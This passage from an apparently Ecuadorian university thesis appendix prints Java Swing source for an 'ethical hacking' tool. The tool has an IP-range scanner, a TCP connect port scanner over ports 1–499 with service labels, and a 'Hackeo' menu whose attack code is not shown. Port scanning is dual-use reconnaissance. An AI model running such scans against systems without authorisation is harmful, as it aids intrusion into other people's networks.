salir = new javax.swing.JMenu(); salida = new javax.swing.JMenuItem(); setDefaultCloseOperation(javax.swing.WindowConstants.DISPOSE_ON_CLOSE); setTitle("PANTALLA DE SCAN DE IP Y PUERTOS"); setBackground(new java.awt.Color(0, 0, 51)); setCursor(new java.awt.Cursor(java.awt.Cursor.DEFAULT_CURSOR)); jLabel1.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/led escaneo IP puertos.GIF")); jLabel5.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\bannner_rotulo2.GIF")); jLabel6.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\banner_rotulo_1.GIF")); reloj.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\BorraAlu.gif")); reloj.setToolTipText("hora"); fecha.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\BorraAlu.gif")); fecha.setToolTipText("fecha"); botonscanIP.setFont(new java.awt.Font("Arial", 0, 10)); botonscanIP.setForeground(new java.awt.Color(0, 102, 102)); botonscanIP.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); botonscanIP.setText("Scan IP"); botonscanIP.setToolTipText("scan"); botonscanIP.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonscanIPActionPerformed(evt); } }); botonhackeo.setFont(new java.awt.Font("Arial", 0, 10)); botonhackeo.setForeground(new java.awt.Color(0, 102, 102)); botonhackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); botonhackeo.setText("Hackeo"); botonhackeo.setToolTipText("Hackeo"); botonhackeo.setEnabled(false); botonhackeo.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonhackeoActionPerformed(evt); } }); botonscanPUERTOS.setFont(new java.awt.Font("Arial", 0, 10)); botonscanPUERTOS.setForeground(new java.awt.Color(0, 102, 102)); botonscanPUERTOS.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); botonscanPUERTOS.setText("Scan Puertos"); botonscanPUERTOS.setToolTipText("scan"); botonscanPUERTOS.setEnabled(false);

Page 225: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

210

botonscanPUERTOS.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { botonscanPUERTOSActionPerformed(evt); } }); jLabel2.setFont(new java.awt.Font("Arial", 1, 12)); jLabel2.setText("Resultados de Scan IP"); jPanel1.setBorder(javax.swing.BorderFactory.createMatteBorder(1, 1, 1, 1, new java.awt.Color(153, 153, 153))); org.jdesktop.layout.GroupLayout jPanel1Layout = new org.jdesktop.layout.GroupLayout(jPanel1); jPanel1.setLayout(jPanel1Layout); jPanel1Layout.setHorizontalGroup( jPanel1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(0, 0, Short.MAX_VALUE) ); jPanel1Layout.setVerticalGroup( jPanel1Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(0, 0, Short.MAX_VALUE) ); org.jdesktop.layout.GroupLayout jPanel2Layout = new org.jdesktop.layout.GroupLayout(jPanel2); jPanel2.setLayout(jPanel2Layout); jPanel2Layout.setHorizontalGroup( jPanel2Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(0, 340, Short.MAX_VALUE) ); jPanel2Layout.setVerticalGroup( jPanel2Layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(0, 224, Short.MAX_VALUE) ); jLabel3.setFont(new java.awt.Font("Arial", 1, 12)); jLabel3.setText("Resultados de Scan Puertos"); tabla_scan_puertos.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED, new java.awt.Color(153, 153, 153), new java.awt.Color(102, 102, 255), new java.awt.Color(153, 153, 153), new java.awt.Color(153, 153, 255))); tabla_scan_puertos.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { }, new String [] { "Puerto", "Nombre_servicio", "Estado" } ) { Class[] types = new Class [] { java.lang.String.class, java.lang.String.class, java.lang.String.class }; boolean[] canEdit = new boolean [] {

Page 226: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

211

false, false, false }; public Class getColumnClass(int columnIndex) { return types [columnIndex]; } public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); jScrollPane4.setViewportView(tabla_scan_puertos); tabla_scan_ip.setBorder(javax.swing.BorderFactory.createBevelBorder(javax.swing.border.BevelBorder.RAISED, new java.awt.Color(0, 153, 153), new java.awt.Color(51, 102, 255), new java.awt.Color(51, 204, 255), new java.awt.Color(0, 102, 255))); tabla_scan_ip.setModel(new javax.swing.table.DefaultTableModel( new Object [][] { }, new String [] { "Ip_maquina", "Nombre", " Estado" } ) { Class[] types = new Class [] { java.lang.String.class, java.lang.String.class, java.lang.String.class }; boolean[] canEdit = new boolean [] { false, false, false }; public Class getColumnClass(int columnIndex) { return types [columnIndex]; } public boolean isCellEditable(int rowIndex, int columnIndex) { return canEdit [columnIndex]; } }); tabla_scan_ip.addMouseListener(new java.awt.event.MouseAdapter() { public void mouseClicked(java.awt.event.MouseEvent evt) { al_presionar(evt); } }); jScrollPane3.setViewportView(tabla_scan_ip); boton_limpiar.setFont(new java.awt.Font("Arial", 0, 10)); boton_limpiar.setForeground(new java.awt.Color(0, 102, 102)); boton_limpiar.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/cross1.gif")); boton_limpiar.setText("Limpiar"); boton_limpiar.setToolTipText("Limpiar"); boton_limpiar.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) {

Page 227: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

212

boton_limpiarActionPerformed(evt); } }); boton_retorno_principla.setFont(new java.awt.Font("Arial", 0, 10)); boton_retorno_principla.setForeground(new java.awt.Color(0, 102, 102)); boton_retorno_principla.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/open.gif")); boton_retorno_principla.setText("Retorno Principal"); boton_retorno_principla.setToolTipText("return"); boton_retorno_principla.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_retorno_principlaActionPerformed(evt); } }); boton_guardar_log.setFont(new java.awt.Font("Arial", 0, 10)); boton_guardar_log.setForeground(new java.awt.Color(0, 102, 102)); boton_guardar_log.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); boton_guardar_log.setText("Guardar Log"); boton_guardar_log.setToolTipText("Log"); boton_guardar_log.setEnabled(false); boton_guardar_log.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { boton_guardar_logActionPerformed(evt); } }); texto_scan_ip.setEditable(false); texto_scan_ip.setFont(new java.awt.Font("Arial", 0, 11)); jScrollPane1.setViewportView(texto_scan_ip); jLabel4.setFont(new java.awt.Font("Arial", 0, 11)); jLabel4.setForeground(new java.awt.Color(0, 102, 102)); jLabel4.setText("Scaneo de IP eventos"); texto_scan_puertos.setFont(new java.awt.Font("Arial", 0, 11)); jScrollPane2.setViewportView(texto_scan_puertos); jLabel7.setFont(new java.awt.Font("Arial", 0, 11)); jLabel7.setForeground(new java.awt.Color(0, 102, 102)); jLabel7.setText("Scaneo de Puertos eventos"); scan.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/scan.gif")); scan.setText("Scan"); scan.setToolTipText("Con esta opci on empieza el escaneo de maquinas"); scan.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setFont(new java.awt.Font("Arial", 0, 10)); scan_ip_puertos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\scan.gif")); scan_ip_puertos.setText("Scan del sistema"); scan_ip_puertos.addActionListener(new java.awt.event.ActionListener() {

Page 228: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

213

public void actionPerformed(java.awt.event.ActionEvent evt) { scan_ip_puertosActionPerformed(evt); } }); scan.add(scan_ip_puertos); jMenuBar1.add(scan); hackeo.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/hackeo.gif")); hackeo.setText("Hackeo"); hackeo.setToolTipText("Con esta opcion empieza la diversi\u00f3n"); hackeo.setEnabled(false); hackeo.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setFont(new java.awt.Font("Arial", 0, 10)); hacking_etico.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\hackeo.gif")); hacking_etico.setText("Hackeo a lo salvaje"); hacking_etico.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { hacking_eticoActionPerformed(evt); } }); hackeo.add(hacking_etico); jMenuBar1.add(hackeo); análisis.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/análisis.gif")); análisis.setText("An\u00e1lisis"); análisis.setToolTipText("Análisis de seguridad del sistema"); análisis.setEnabled(false); análisis.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setFont(new java.awt.Font("Arial", 0, 10)); análisis_claves.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\análisis.gif")); análisis_claves.setText("Analiisis de datos"); análisis_claves.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { análisis_clavesActionPerformed(evt); } }); análisis.add(análisis_claves); jMenuBar1.add(análisis); reportes.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/reportes.gif")); reportes.setText("Reportes"); reportes.setToolTipText("Con esta opcion se pueden visualizar los diferentes reportes"); reportes.setEnabled(false); reportes.setFont(new java.awt.Font("Arial", 0, 10)); reportes_estadisticos.setFont(new java.awt.Font("Arial", 0, 10));

Page 229: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

214

reportes_estadisticos.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\start.gif")); reportes_estadisticos.setText("Reportes del sistema"); reportes_estadisticos.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { reportes_estadisticosActionPerformed(evt); } }); reportes.add(reportes_estadisticos); jMenuBar1.add(reportes); estadisticas.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/estadisticas.gif")); estadisticas.setText("Estad\u00edstica"); estadisticas.setToolTipText("Esta opcion nos muestra las estadisticas del sistema"); estadisticas.setEnabled(false); estadisticas.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setFont(new java.awt.Font("Arial", 0, 10)); estadisticas_re.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\estadisticas.gif")); estadisticas_re.setText("Estadisticas del sistema"); estadisticas.add(estadisticas_re); jMenuBar1.add(estadisticas); ayuda.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/ayuda.GIF")); ayuda.setText("Ayuda"); ayuda.setToolTipText("Esta opcion ofrece ayuda en linea"); ayuda.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setFont(new java.awt.Font("Arial", 0, 10)); ayudita.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\ayuda.GIF")); ayudita.setText("Ayuda en linea"); ayuda.add(ayudita); jMenuBar1.add(ayuda); acerca_de.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/acerca_de.GIF")); acerca_de.setText("Acerca..."); acerca_de.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setFont(new java.awt.Font("Arial", 0, 10)); acerca_de_menu.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\acerca_de.GIF")); acerca_de_menu.setText("Creditos del programa"); acerca_de_menu.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { acerca_de_menuActionPerformed(evt); } }); acerca_de.add(acerca_de_menu);

Page 230: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

215

jMenuBar1.add(acerca_de); salir.setIcon(new javax.swing.ImageIcon("/root/hacking_etico/imagenes/salir.GIF")); salir.setText("Salir"); salir.setToolTipText("Salir del sistema"); salir.setFont(new java.awt.Font("Arial", 0, 10)); salida.setFont(new java.awt.Font("Arial", 0, 10)); salida.setIcon(new javax.swing.ImageIcon("C:\\hacking_etico\\imagenes\\salir.GIF")); salida.setText("Salir del sistema"); salida.addActionListener(new java.awt.event.ActionListener() { public void actionPerformed(java.awt.event.ActionEvent evt) { salidaActionPerformed(evt); } }); salir.add(salida); jMenuBar1.add(salir); setJMenuBar(jMenuBar1); org.jdesktop.layout.GroupLayout layout = new org.jdesktop.layout.GroupLayout(getContentPane()); getContentPane().setLayout(layout); layout.setHorizontalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jPanel2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(280, 280, 280)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(jScrollPane4, 0, 0, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, jLabel2) .add(org.jdesktop.layout.GroupLayout.LEADING, layout.createSequentialGroup() .add(boton_limpiar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 133, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 77, Short.MAX_VALUE) .add(botonhackeo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 151, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(org.jdesktop.layout.GroupLayout.LEADING,

Page 231: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

216

layout.createSequentialGroup() .add(botonscanIP, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 114, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED, 125, Short.MAX_VALUE) .add(botonscanPUERTOS)) .add(org.jdesktop.layout.GroupLayout.LEADING, jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 361, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(org.jdesktop.layout.GroupLayout.LEADING, jLabel4) .add(org.jdesktop.layout.GroupLayout.LEADING, jLabel7)) .add(42, 42, 42) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jLabel5, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 190, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(fecha)) .add(12, 12, 12)) .add(layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING, false) .add(layout.createSequentialGroup() .add(0, 0, 0) .add(boton_retorno_principla) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(boton_guardar_log, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 112, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .add(org.jdesktop.layout.GroupLayout.LEADING, jScrollPane1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 272, Short.MAX_VALUE) .add(org.jdesktop.layout.GroupLayout.LEADING, jScrollPane2)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED))))) .add(0, 0, 0) .add(jPanel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addContainerGap()) .add(layout.createSequentialGroup() .addContainerGap() .add(reloj, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 111, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)

Page 232: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

217

.add(774, 774, 774)) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(jLabel6, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 165, Short.MAX_VALUE) .add(503, 503, 503)) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel3) .addContainerGap(714, Short.MAX_VALUE)) .add(layout.createSequentialGroup() .add(191, 191, 191) .add(jLabel1, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE) .add(392, 392, 392)) ); layout.setVerticalGroup( layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .addContainerGap() .add(jLabel1) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(jPanel1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(org.jdesktop.layout.GroupLayout.TRAILING, layout.createSequentialGroup() .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel2) .add(jLabel4)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(jScrollPane3, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 134, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(botonscanIP, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 40, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonscanPUERTOS, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))) .add(jScrollPane1, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 181, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE))

Page 233: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

218

.addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.LEADING) .add(layout.createSequentialGroup() .add(5, 5, 5) .add(jLabel3)) .add(layout.createSequentialGroup() .add(6, 6, 6) .add(jLabel7))) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.TRAILING) .add(jScrollPane2, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, 139, Short.MAX_VALUE) .add(jScrollPane4, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 139, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)))) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(boton_limpiar, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 40, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(boton_retorno_principla, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(boton_guardar_log, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(botonhackeo, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 41, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(jLabel5, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, 25, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .add(jLabel6)) .addPreferredGap(org.jdesktop.layout.LayoutStyle.RELATED) .add(layout.createParallelGroup(org.jdesktop.layout.GroupLayout.BASELINE) .add(reloj) .add(fecha)) .add(1353, 1353, 1353) .add(jPanel2, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE, org.jdesktop.layout.GroupLayout.DEFAULT_SIZE, org.jdesktop.layout.GroupLayout.PREFERRED_SIZE) .addContainerGap()) ); java.awt.Dimension screenSize = java.awt.Toolkit.getDefaultToolkit().getScreenSize(); setBounds((screenSize.width-678)/2, (screenSize.height-551)/2, 678, 551); }// </editor-fold>

Page 234: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

219

private void al_presionar(java.awt.event.MouseEvent evt) { número_columna=tabla_scan_ip.getSelectedColumn(); número_fila=tabla_scan_ip.getSelectedRow(); host=(String)tabla_scan_ip.getValueAt(número_fila,número_columna); System.out.println("columna-->"+número_columna+"--fila--"+número_fila+"----host--"+host); try{ if (host == null || host =="" || host.equals("ACTIVA")) { Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","REALIZE UNA SELECCION DE CELDA VALIDA","PRESIONANDO EN LA COLUMNA IP O NOMBRE PARA PODER ESCANEAR LOS PUERTOS","VUELVALO A INTENTAR...GRACIAS"); botonscanPUERTOS.setEnabled(false); }else{ botonscanPUERTOS.setEnabled(true); } }catch(Exception e){ Msg a=new Msg("AVISO","imagenes/escudo_u.JPG","REALIZE UNA SELECCION DE CELDA VALIDA","PRESIONANDO EN LA COLUMNA IP O NOMBRE PARA PODER ESCANEAR LOS PUERTOS","VUELVALO A INTENTAR...GRACIAS"); } } private void salidaActionPerformed(java.awt.event.ActionEvent evt) { salir kk = new salir(); kk.show(); } private void acerca_de_menuActionPerformed(java.awt.event.ActionEvent evt) { creditos ss = new creditos(); ss.show(); } private void reportes_estadisticosActionPerformed(java.awt.event.ActionEvent evt) { reporte report = new reporte(); report.show(); } private void análisis_clavesActionPerformed(java.awt.event.ActionEvent evt) { } private void hacking_eticoActionPerformed(java.awt.event.ActionEvent evt) { hackeo hack = new hackeo(host); hack.show(); } private void scan_ip_puertosActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_scan pa = new pantalla_scan(); pa.show(); }

Page 235: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

220

private void boton_guardar_logActionPerformed(java.awt.event.ActionEvent evt) { } private void boton_retorno_principlaActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); pantalla_principal pa = new pantalla_principal(); pa.show(); } private void boton_limpiarActionPerformed(java.awt.event.ActionEvent evt) { } private void botonscanPUERTOSActionPerformed(java.awt.event.ActionEvent evt) { d=0; texto_scan_puertos.setText(""); for (int i = 0; i < 999; i++) { for(int j=0;j<3;j++){ tabla_scan_puertos.setValueAt("",i,j); } } try { InetAddress addr = InetAddress.getByName(host); System.out.println("ESCANEO DE PUERTOS ACTIVOS EN LA DIRECCION IP--> "+host); System.out.println("BUSCANDO PUERTOS ABIERTOS..."); System.out.println("POR FAVOR ESPERE...(CTRL-C para detener)"); cadena_puertos = cadena_puertos + "ESCANEO DE PUERTOS ACTIVOS EN LA DIRECCION IP--> "+ host +'\n'+"BUSCANDO PUERTOS ABIERTOS..." +'\n'+ "POR FAVOR ESPERE...(CTRL-C para detener)"+'\n'; for (int i = 1; i < 500; i++) { Socket s = null; try { s = new Socket(addr,i); if (s!=null){ System.out.println("Puerto: " + i + " abierto " + host ); cadena_puertos = cadena_puertos + '\n'+"Puerto: " + i + " abierto en " + host+'\n'; tabla_scan_puertos.setValueAt(Integer.toString(i),d,0); botonhackeo.setEnabled(true); switch (i) { case 20: tabla_scan_puertos.setValueAt("Servicio data-ftp",d,1); break; case 21: tabla_scan_puertos.setValueAt("Servicio ftp",d,1); break; case 22: tabla_scan_puertos.setValueAt("Servicio ssh",d,1);

Page 236: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

221

break; case 23: tabla_scan_puertos.setValueAt("Servicio telnet",d,1); break; case 25: tabla_scan_puertos.setValueAt("Servicio smtp",d,1); break; case 53: tabla_scan_puertos.setValueAt("Servicio DNS",d,1); break; case 80: tabla_scan_puertos.setValueAt("Servicio http",d,1); break; case 110: tabla_scan_puertos.setValueAt("Servicio pop3",d,1); break; case 111: tabla_scan_puertos.setValueAt("Servicio rpcbind",d,1); break; case 139: tabla_scan_puertos.setValueAt("Servicio smb",d,1); break; case 143: tabla_scan_puertos.setValueAt("Servicio imap",d,1); break; case 443: tabla_scan_puertos.setValueAt("Servicio https",d,1); break; case 445: tabla_scan_puertos.setValueAt("microsoft ds",d,1); break; default: tabla_scan_puertos.setValueAt("Puerto desconocido",d,1); break; } tabla_scan_puertos.setValueAt("Activo",d,2); d++; }else{ System.out.println("Puerto: " + i + " cerrado " + host ); } } catch (IOException ex) { } finally { try { if (s != null) s.close(); } catch (IOException ex) {}

Page 237: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

222

} } //for } //try catch (UnknownHostException ex) { System.err.println(ex); } if (cadena_puertos !="") { texto_scan_puertos.setText(cadena_puertos); }else{ Msg a=new Msg("RESPUESTA DEL SISTEMA","imagenes/escudo_u.jpg","no se han encontrado puertos abiertos","verifique la IP y el estado de la red","consulte el manual de ayuda y vuelvalo a intentar...gracias"); botonhackeo.setEnabled(false); } } private void botonhackeoActionPerformed(java.awt.event.ActionEvent evt) { hide();dispose(); hackeo hack = new hackeo(host); hack.show(); } private void botonscanIPActionPerformed(java.awt.event.ActionEvent evt) { valida=true; c=0; point_1=0; point_2=0; cont_punto=0; ip_inicial=""; ip_final=""; ha=""; ah=""; texto_scan_ip.setText(""); for (int i = 0; i < 999; i++) { for(int j=0;j<3;j++){ tabla_scan_ip.setValueAt("",i,j); } } try{ ScanIPRange anda = new ScanIPRange(); try{ Process p_ip = Runtime.getRuntime().exec("/root/hacking_etico/utilitarios/ip"); is_ip = p_ip.getInputStream(); br_ip = new BufferedReader (new InputStreamReader (is_ip)); aux_ip = br_ip.readLine(); while (aux_ip!=null ) { System.out.println (aux_ip);

Page 238: UNIVERSIDAD DE GUAYAQUIL Facultad de Ciencias …repositorio.ug.edu.ec/bitstream/redug/19548/1/UG-FCMF-B-CISC-PTG... · Presidente del Tribunal Primer Vocal Segundo Vocal ... Si tenemos

223

